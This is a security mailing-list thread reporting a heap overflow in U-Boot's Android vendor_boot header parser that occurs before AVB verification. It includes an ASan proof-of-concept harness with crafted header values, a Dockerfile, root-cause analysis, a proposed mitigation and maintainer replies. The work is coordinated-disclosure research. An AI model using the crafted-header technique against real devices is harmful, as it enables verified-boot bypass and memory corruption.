Skip to contentSkip to conversation

Report of possible heap overflow in U-Boot's Android bootmeth before any AVB verification (ANT-2026-ZWED60S8)

security Arthur Chan 3 participants 3 messages Aug 6 – Aug 11

lore
Share & tools
lore
#0 lore raw

Hello U-Boot maintainers,

I'd like to report a High-severity security issue in U-Boot (https://github.com/u-boot/u-boot / https://git.u-boot-project.org/u-boot/u-boot) related to possible heap overflow in U-Boot's Android bootmeth before any AVB verification.

I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it, together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.

Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from using agents to study security of open source projects, and I am from Ada Logics helping validate the found issues and creating the report manually and notify the maintainers.

Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to coordinate on the exact timing and to provide any further detail you need.

Kind regards,
Arthur Chan

ADA Logics Ltd is registered in England. No: 11624074. Registered office: 266 Banbury Road, Post Box 292, OX2 7DL, Oxford, Oxfordshire , United Kingdom

FROM ubuntu:24.04

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        ca-certificates git gcc libc6-dev libasan8 && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /src

ARG PIN=ece349ade2973e220f524ce59e59711cc919263f

# Clone the real upstream tree and pin it. Fail hard unless HEAD == PIN.

RUN git clone https://github.com/u-boot/u-boot.git ub && \
    cd ub && \
    git checkout --detach ${PIN} && \
    HEAD_SHA="$(git rev-parse HEAD)" && \
    echo "HEAD=${HEAD_SHA} PIN=${PIN}" && \
    [ "${HEAD_SHA}" = "${PIN}" ] || { echo "PIN MISMATCH"; exit 1; }

# Extract the REAL types/constants and the REAL functions verbatim from the

# pinned tree. No hand-copied code: awk lifts exact line ranges.
#   include/android_image.h : constants + struct andr_vnd_boot_img_hdr
#                             + struct andr_image_data
#   boot/image-android.c    : checksum/is_trailer_present/add_trailer,
#                             android_vendor_boot_image_v3_v4_parse_hdr,
#                             is_android_vendor_boot_image_header
RUN cd /src/ub && \
    { awk 'NR>=23 && NR<=36' include/android_image.h; echo; \
      awk 'NR>=55 && NR<=78' include/android_image.h; echo; \
      awk 'NR>=332 && NR<=361' include/android_image.h; } > /src/gen_defs.h && \
    { awk 'NR>=21 && NR<=58' boot/image-android.c; echo; \
      awk 'NR>=133 && NR<=180' boot/image-android.c; echo; \
      awk 'NR>=452 && NR<=455' boot/image-android.c; } > /src/gen_impl.c && \
    echo "===== gen_defs.h =====" && cat /src/gen_defs.h && \
    echo "===== gen_impl.c =====" && cat /src/gen_impl.c

COPY driver.c /src/driver.c

RUN cd /src && \
    PIN_SHA="$(cd ub && git rev-parse HEAD)" && \
    gcc -std=gnu11 -g -O0 -fno-omit-frame-pointer -fsanitize=address \
        -DGITPIN="\"${PIN_SHA}\"" -I/src driver.c -o /src/poc

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:allocator_may_return_null=1

CMD ["/src/poc"]

/*
* Focused ASan harness for the U-Boot android bootmeth vendor_boot header
* parser. It drives the REAL upstream functions

 *   is_android_vendor_boot_image_header()
 *   android_vendor_boot_image_v3_v4_parse_hdr()
 *   add_trailer() / checksum() / is_trailer_present()

* which are extracted verbatim at build time from the pinned tree into
* gen_impl.c, together with the real struct andr_vnd_boot_img_hdr and the
* real BOOTCONFIG_* / ANDR_VENDOR_BOOT_* constants in gen_defs.h. *
* Only the platform glue those functions need is modelled here:
* - map_to_sysmem / map_sysmem / unmap_sysmem are identity, exactly as
* they behave on real hardware (a virtual address IS the physical one).
* - ALIGN is U-Boot's power-of-two align macro.
* - u8/u32/u64/ulong are the kernel-style fixed-width types.
*
* The harness allocates the vendor_boot scan buffer the same way
* scan_vendor_boot_part() in boot/bootmeth_android.c does:
* num_blks = DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), blksz);
* bufsz = num_blks * blksz; (blksz = 512 -> 2560 bytes for a 2128 hdr)
* It then hands the parser an attacker-crafted header and lets ASan witness
* the trailer memcpy landing past that buffer.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>

/* ---- kernel-style types the extracted code expects ---- */ typedef uint8_t u8;
typedef uint32_t u32;
typedef uint64_t u64;
typedef unsigned long ulong;

/* ---- U-Boot align macro (power-of-two) ---- */
#define ALIGN(x, a) (((x) + ((a) - 1)) & ~(((ulong)(a)) - 1))
#define DIV_ROUND_UP(n, d) (((n) + (d) - 1) / (d))

/*
* map_to_sysmem()/map_sysmem() are identity on real hardware: the pointer
* the parser dereferences is the very address it computes offsets from. */
static inline ulong map_to_sysmem(const void *ptr)

{
	return (ulong)(uintptr_t)ptr;
}
static inline void *map_sysmem(ulong paddr, unsigned long len)
{
	(void)len;
	return (void *)(uintptr_t)paddr;
}
static inline void unmap_sysmem(const void *vaddr)
{
	(void)vaddr;
}

/* Real upstream types/constants, extracted verbatim from include/. */ #include "gen_defs.h"
/* Real upstream functions, extracted verbatim from boot/image-android.c. */ #include "gen_impl.c"

#ifndef GITPIN
#define GITPIN "unknown"
#endif

/* Block size of a typical removable device; drives the scan-buffer maths. */ #define BLKSZ 512

static char *alloc_scan_buffer(ulong *out_bufsz)

{
	ulong num_blks = DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), BLKSZ);
	ulong bufsz = num_blks * BLKSZ;
	char *buf = malloc(bufsz);

	if (!buf) {
		perror("malloc");
		exit(2);
	}
	memset(buf, 0, bufsz);
	*out_bufsz = bufsz;
	return buf;
}

static void fill_header(void *buf, u32 page_size, u32 bootconfig_size)

{
	struct andr_vnd_boot_img_hdr *h = buf;

	/* The ONLY gate scan_vendor_boot_part() applies: the 8-byte magic. */
	memcpy(h->magic, VENDOR_BOOT_MAGIC, ANDR_VENDOR_BOOT_MAGIC_SIZE);
	h->header_version = 4;			/* v4 path (>3) */
	h->page_size = page_size;		/* attacker u32, unchecked */
	h->vendor_ramdisk_size = 0;		/* attacker u32, unchecked */
	h->dtb_size = 0;			/* attacker u32, unchecked */
	h->vendor_ramdisk_table_size = 0;	/* attacker u32, unchecked */
	h->bootconfig_size = bootconfig_size;	/* attacker u32, unchecked */
}

static void run_case(const char *label, u32 page_size, u32 bootconfig_size)

{
	ulong bufsz;
	char *buf = alloc_scan_buffer(&bufsz);
	struct andr_image_data data;

	fill_header(buf, page_size, bootconfig_size);

	printf("== %s ==\n", label);
	printf("  scan buffer         : malloc(%lu)  [buf .. buf+%lu)\n",
	       bufsz, bufsz);
	printf("  hdr magic gate      : is_android_vendor_boot_image_header() = %s\n",
	       is_android_vendor_boot_image_header(buf) ? "PASS" : "fail");
	printf("  header_version      : 4\n");
	printf("  page_size (u32)     : %u\n", page_size);
	printf("  bootconfig_size(u32): %u\n", bootconfig_size);

	memset(&data, 0, sizeof(data));
	android_vendor_boot_image_v3_v4_parse_hdr((struct andr_vnd_boot_img_hdr *)buf,
						  &data);

	/* Reached only when nothing overflowed. */
	printf("  bootconfig_addr     : buf + %lu  (in-bounds: %s)\n",
	       data.bootconfig_addr - (ulong)buf,
	       (data.bootconfig_addr - (ulong)buf) < bufsz ? "yes" : "NO");
	printf("  trailer write end   : buf + %lu\n",
	       (data.bootconfig_addr - (ulong)buf) + data.bootconfig_size);
	printf("  --> parsed with no out-of-bounds access\n\n");

	free(buf);
}

int main(void)

{
	/* Unbuffered so stdout survives ASan's abort in the positive case. */
	setvbuf(stdout, NULL, _IONBF, 0);

	printf("##### pin #####\n%s\n\n", GITPIN);
	printf("### poc-android-vboot ###\n");
	printf("sizeof(struct andr_vnd_boot_img_hdr) = %lu\n\n",
	       (ulong)sizeof(struct andr_vnd_boot_img_hdr));

	/*
	 * NEGATIVE control: sane fields. page_size 256 puts bootconfig at
	 * offset 2304 inside the 2560-byte buffer; a small bootconfig_size
	 * (200) leaves room for the 20-byte trailer, so every read and the
	 * trailer write stay inside the allocation. Expect a clean parse.
	 */
	run_case("NEGATIVE control: bootconfig + trailer fit inside the buffer",
		 256, 200);

	/*
	 * POSITIVE: same page_size, but bootconfig_size = 256 makes the
	 * bootconfig region end exactly at the buffer boundary, so the
	 * appended trailer's first memcpy writes at buf+2560 -- one byte past
	 * the allocation. bootconfig_addr and every offset term came straight
	 * from the attacker header; the write target is attacker-controlled.
	 * Expect an ASan heap-buffer-overflow WRITE.
	 */
	printf("(next case drives the trailer write past the scan buffer)\n\n");
	run_case("POSITIVE: attacker fields drive the trailer write past the buffer",
		 256, 256);

	/* Not reached: ASan aborts inside the positive case. */
	printf("unexpectedly survived the positive case\n");
	return 0;
}

# A crafted vendor_boot header lets a removable device drive an out-of-bounds write during U-Boot bootflow scanning, before any AVB verification runs

U-Boot's Android bootmeth parses the vendor_boot partition of a bootable device during the automatic bootflow scan, long before it verifies anything. When android_read_bootflow() scans a device it calls scan_vendor_boot_part(), which reads the raw vendor_boot header off the disk, checks only the 8-byte "VNDRBOOT" magic, and then hands the header to android_image_get_vendor_bootimg_size() -> android_vendor_boot_image_v3_v4_parse_hdr(). That parser computes a bootconfig target address by summing several unchecked attacker-controlled u32 header fields (page_size, vendor_ramdisk_size, dtb_size, vendor_ramdisk_table_size) onto the header base, and, if bootconfig_size is non-zero, calls add_trailer(), which does end = bootconfig_start_addr + bootconfig_size and memcpys a 20-byte trailer there plus a checksum() read over bootconfig_size bytes. Because map_sysmem()/map_to_sysmem() are identity on real hardware and every offset term is an unvalidated header field, an attacker who controls the vendor_boot partition (a removable card, USB image, or any medium the board auto-scans) chooses where that trailer write lands. This runs entirely inside the scan step, whereas run_avb_verification() is only invoked later from the boot step, so the write happens before the AVB signature check that is meant to gate untrusted images: a verified-boot bypass with an attacker-controlled out-of-bounds write primitive. The path is reached with CONFIG_BOOTMETH_ANDROID and vendor_boot bootconfig support enabled; it was confirmed by compiling the real parser and add_trailer() under AddressSanitizer and observing the trailer memcpy land past the header buffer.

## Root cause

The Android bootmeth splits work across two bootstd phases. .read_bootflow runs during device scanning; .boot runs only when the user or autoboot selects the flow.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/bootmeth_android.c#L646-L651

```c
static struct bootmeth_ops android_bootmeth_ops = {
	.check		= android_check,
	.read_bootflow	= android_read_bootflow,
	.read_file	= android_read_file,
	.boot		= android_boot,
};
```

android_read_bootflow() (the scan phase) parses the vendor_boot partition as soon as the header version is 3 or higher. No verification has happened at this point.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/bootmeth_android.c#L294-L300

```c
	if (priv->header_version >= 3) {
		ret = scan_vendor_boot_part(bflow->blk, priv);
		if (ret < 0) {
			log_debug("scan vendor_boot failed: err=%d\n", ret);
			goto free_priv;
		}
	}
```

AVB verification lives in the separate boot phase, in boot_android_normal(), which is only entered from android_boot() after the flow is chosen.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/bootmeth_android.c#L548-L558

```c
static int boot_android_normal(struct bootflow *bflow)
{
	......
	ret = run_avb_verification(bflow);
	if (ret < 0)
		return log_msg_ret("avb", ret);
```

scan_vendor_boot_part() allocates a header-sized buffer, reads the raw partition header into it, and applies exactly one gate, the "VNDRBOOT" magic, before parsing the header for its size.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/bootmeth_android.c#L134-L154

```c
	num_blks = DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), desc->blksz);
	bufsz = num_blks * desc->blksz;
	buf = malloc(bufsz);
	......
	if (!is_android_vendor_boot_image_header(buf)) {
		free(buf);
		return log_msg_ret("header", -ENOENT);
	}

	if (!android_image_get_vendor_bootimg_size(buf, &priv->vendor_boot_img_size)) {
```

The gate is an 8-byte memcmp and nothing more.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-android.c#L452-L455

```c
bool is_android_vendor_boot_image_header(const void *vendor_boot_img)
{
	return !memcmp(VENDOR_BOOT_MAGIC, vendor_boot_img, ANDR_VENDOR_BOOT_MAGIC_SIZE);
}
```

The parser then builds bootconfig_addr by adding page-aligned, attacker-controlled u32 fields onto the header base. page_size, vendor_ramdisk_size, dtb_size, vendor_ramdisk_table_size and bootconfig_size are all taken straight from the header with no bound check against the header buffer or any loaded-image extent. When bootconfig_size is non-zero it maps bootconfig_addr (identity on hardware) and calls add_trailer().

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-android.c#L148-L179

```c
	data->bootconfig_size = hdr->bootconfig_size;
	end = map_to_sysmem(hdr);

	if (hdr->header_version > 3)
		end += ALIGN(ANDR_VENDOR_BOOT_V4_SIZE, hdr->page_size);
	else
		end += ALIGN(ANDR_VENDOR_BOOT_V3_SIZE, hdr->page_size);
	......
	end += ALIGN(hdr->dtb_size, hdr->page_size);
	end += ALIGN(hdr->vendor_ramdisk_table_size, hdr->page_size);
	data->bootconfig_addr = end;
	if (hdr->bootconfig_size) {
		void *bootconfig_ptr = map_sysmem(data->bootconfig_addr,
						  data->bootconfig_size +
						  BOOTCONFIG_TRAILER_SIZE);
		data->bootconfig_size += add_trailer((ulong)bootconfig_ptr,
						     data->bootconfig_size);
```

add_trailer() computes end = bootconfig_start_addr + bootconfig_size and writes a BOOTCONFIG_SIZE_SIZE-byte length, a BOOTCONFIG_CHECKSUM_SIZE-byte checksum and the BOOTCONFIG_MAGIC string there, and runs checksum() across bootconfig_size bytes starting at bootconfig_start_addr. Both the start address and the length are attacker-derived, so every one of these accesses is at an address the header chose.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-android.c#L36-L58

```c
static ulong add_trailer(ulong bootconfig_start_addr, ulong bootconfig_size)
{
	ulong end;
	ulong sum;
	......
	end = bootconfig_start_addr + bootconfig_size;
	if (is_trailer_present(end))
		return 0;

	memcpy((void *)(end), &bootconfig_size, BOOTCONFIG_SIZE_SIZE);
	sum = checksum((unsigned char *)bootconfig_start_addr, bootconfig_size);
	memcpy((void *)(end + BOOTCONFIG_SIZE_SIZE), &sum,
	       BOOTCONFIG_CHECKSUM_SIZE);
	memcpy((void *)(end + BOOTCONFIG_SIZE_SIZE + BOOTCONFIG_CHECKSUM_SIZE),
	       BOOTCONFIG_MAGIC, BOOTCONFIG_MAGIC_SIZE);

	return BOOTCONFIG_TRAILER_SIZE;
}
```

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-android.c#L21-L28

```c
static ulong checksum(const unsigned char *buffer, ulong size)
{
	ulong sum = 0;

	for (ulong i = 0; i < size; i++)
		sum += buffer[i];
	return sum;
}
```

Nothing in this chain confirms that bootconfig_addr, or bootconfig_addr + bootconfig_size, or the range walked by checksum(), lies within the memory that was actually read from the device. The scan-buffer allocation in scan_vendor_boot_part() is only header-sized (DIV_ROUND_UP(sizeof(struct andr_vnd_boot_img_hdr), blksz) * blksz, 2560 bytes for the 2128-byte header on a 512-byte device), yet the offsets can point anywhere in the address space. This is the whole exploit surface, reached before AVB.

## Proof of Concept

The reproducer clones U-Boot, detaches to the pinned commit and aborts the build unless HEAD equals the pin. It then lifts, verbatim with awk, the real struct andr_vnd_boot_img_hdr and the BOOTCONFIG_* / ANDR_VENDOR_BOOT_* constants from include/android_image.h, and the real checksum(), is_trailer_present(), add_trailer(), android_vendor_boot_image_v3_v4_parse_hdr() and is_android_vendor_boot_image_header() from boot/image-android.c, and compiles them under AddressSanitizer. Only the platform glue the extracted code needs is modelled: map_to_sysmem/map_sysmem are identity, matching real hardware where the address the parser computes is the address it dereferences, and ALIGN is U-Boot's power-of-two macro. The harness allocates the scan buffer exactly as scan_vendor_boot_part() does and drives the real parser with a crafted header carrying a valid "VNDRBOOT" magic and attacker-chosen page_size and bootconfig_size. The scan-happens-before-AVB ordering is cited from bootmeth_android.c above (the two-phase .read_bootflow/.boot split); the attacker-controlled trailer write itself is executed and witnessed by ASan. The network and block layers are not exercised; the parser under test is the same code the scan path invokes.

```
docker build -t poc-android-vboot . && docker run --rm poc-android-vboot
```

### Result

```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f

### poc-android-vboot ###
sizeof(struct andr_vnd_boot_img_hdr) = 2128

== NEGATIVE control: bootconfig + trailer fit inside the buffer ==
  scan buffer         : malloc(2560)  [buf .. buf+2560)
  hdr magic gate      : is_android_vendor_boot_image_header() = PASS
  header_version      : 4
  page_size (u32)     : 256
  bootconfig_size(u32): 200
  bootconfig_addr     : buf + 2304  (in-bounds: yes)
  trailer write end   : buf + 2524
  --> parsed with no out-of-bounds access

(next case drives the trailer write past the scan buffer)

== POSITIVE: attacker fields drive the trailer write past the buffer ==
  scan buffer         : malloc(2560)  [buf .. buf+2560)
  hdr magic gate      : is_android_vendor_boot_image_header() = PASS
  header_version      : 4
  page_size (u32)     : 256
  bootconfig_size(u32): 256
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51e000001680 at pc 0x55b921a646ef bp 0x7ffecce77d10 sp 0x7ffecce77d00
WRITE of size 4 at 0x51e000001680 thread T0
    #0 0x55b921a646ee in add_trailer /src/gen_impl.c:30
    #1 0x55b921a64ff2 in android_vendor_boot_image_v3_v4_parse_hdr /src/gen_impl.c:80
    #2 0x55b921a65657 in run_case /src/driver.c:117
    #3 0x55b921a65920 in main /src/driver.c:159
    #4 0x7f5859b741c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x7f5859b7428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x55b921a64384 in _start (/src/poc+0x2384) (BuildId: fc0674990266fa6de148aee85422e46dfbe3702b)

0x51e000001680 is located 0 bytes after 2560-byte region [0x51e000000c80,0x51e000001680)
allocated by thread T0 here:
    #0 0x7f5859e599c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x55b921a651fd in alloc_scan_buffer /src/driver.c:74
    #2 0x55b921a65519 in run_case /src/driver.c:102
    #3 0x55b921a65920 in main /src/driver.c:159
    #4 0x7f5859b741c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x7f5859b7428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x55b921a64384 in _start (/src/poc+0x2384) (BuildId: fc0674990266fa6de148aee85422e46dfbe3702b)

SUMMARY: AddressSanitizer: heap-buffer-overflow /src/gen_impl.c:30 in add_trailer
```

gen_impl.c:30 is the first memcpy of add_trailer() (line 50 of boot/image-android.c), and gen_impl.c:80 is the add_trailer() call inside android_vendor_boot_image_v3_v4_parse_hdr() (line 173). In the negative control the parser places bootconfig at buf+2304 and, with a small bootconfig_size, the 20-byte trailer ends at buf+2524, inside the 2560-byte scan buffer, so the parse completes cleanly. In the positive case the only changed input is bootconfig_size, raised so the bootconfig region ends exactly at the buffer boundary; the parser then writes the trailer at buf+2560, and ASan reports a WRITE of size 4 located 0 bytes after the allocation. The write target is bootconfig_start_addr + bootconfig_size, both derived from the crafted header, so the same fields let an attacker place the write far from the buffer rather than one byte past it. The magic gate passes in both cases, confirming it is the sole check standing between a raw partition header and this write. Preconditions: a build with CONFIG_BOOTMETH_ANDROID and vendor_boot bootconfig handling, a board that auto-scans the medium the attacker controls, and an Android layout whose vendor_boot header advertises version 3 or 4; no signature or lock state is consulted before the parse.

## Mitigation

Do not parse or relocate untrusted image contents before AVB verification: move the vendor_boot parse out of the .read_bootflow scan path, or defer it until after run_avb_verification() has authenticated the boot/vendor_boot partitions. Independently, validate the header fields before use in android_vendor_boot_image_v3_v4_parse_hdr(): reject non-power-of-two or oversized page_size, and bound-check vendor_ramdisk_size, dtb_size, vendor_ramdisk_table_size and bootconfig_size, and the resulting bootconfig_addr and bootconfig_addr + bootconfig_size, against the size of the buffer that was actually read from the device before add_trailer() reads or writes through them.

## Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.

#1 lore raw

Hi Arthur,

Quoted 4 lines · Arthur Chan

Hello U-Boot maintainers,

I'd like to report a High-severity security issue in U-Boot (https://github.com/u-boot/u-boot / https://git.u-boot-project.org/u-boot/u-boot) related to possible heap overflow in U-Boot's Android bootmeth before any AVB verification.

Thanks for the report.

Quoted 9 lines

I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it, together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.

Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from using agents to study security of open source projects, and I am from Ada Logics helping validate the found issues and creating the report manually and notify the maintainers.

If this is a standard text, I suggest '...issues found, manually create a report and notify...'.

Are you able to send a patch? Then your attribution will be in the source tree :-)

Also I suggest avoiding HTML in email to the mailing list.

Quoted 5 lines

Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to coordinate on the exact timing and to provide any further detail you need.

Quoted 8 lines

Kind regards,
Arthur Chan

ADA Logics Ltd is registered in England. No: 11624074. Registered office: 266 Banbury Road, Post Box 292, OX2 7DL, Oxford, Oxfordshire , United Kingdom

Regards,
Simon

#2 lore raw

Hi Arthur,

Thank you for the report.

Quoted 20 lines · Simon Glass

Hi Arthur,

Quoted 4 lines · Arthur Chan

Hello U-Boot maintainers,

I'd like to report a High-severity security issue in U-Boot (https://github.com/u-boot/u-boot / https://git.u-boot-project.org/u-boot/u-boot) related to possible heap overflow in U-Boot's Android bootmeth before any AVB verification.

Thanks for the report.

Quoted 9 lines

I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it, together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.

Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from using agents to study security of open source projects, and I am from Ada Logics helping validate the found issues and creating the report manually and notify the maintainers.

Quoted 5 lines

If this is a standard text, I suggest '...issues found, manually create a report and notify...'.

Are you able to send a patch? Then your attribution will be in the source tree :-)

I agree with Simon here.

I also think someone else found a similar fix and proposed a patch already which is here:

https://lore.kernel.org/all/[email protected]/

If you wish to contribute to U-Boot, please apply above patch and let us know if that patch fixes the issue you've reported.

You can contribute by replying to above email using Tested-by:, for example.

Quoted 2 lines

Also I suggest avoiding HTML in email to the mailing list.

Yes, see:
https://docs.u-boot-project.org/en/latest/develop/sending_patches.html#general-patch-submission-rules

Thanks,
Mattijs

Quoted 17 lines
Quoted 6 lines

Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to coordinate on the exact timing and to provide any further detail you need.

Quoted 8 lines

Kind regards,
Arthur Chan

ADA Logics Ltd is registered in England. No: 11624074. Registered office: 266 Banbury Road, Post Box 292, OX2 7DL, Oxford, Oxfordshire , United Kingdom

Regards,
Simon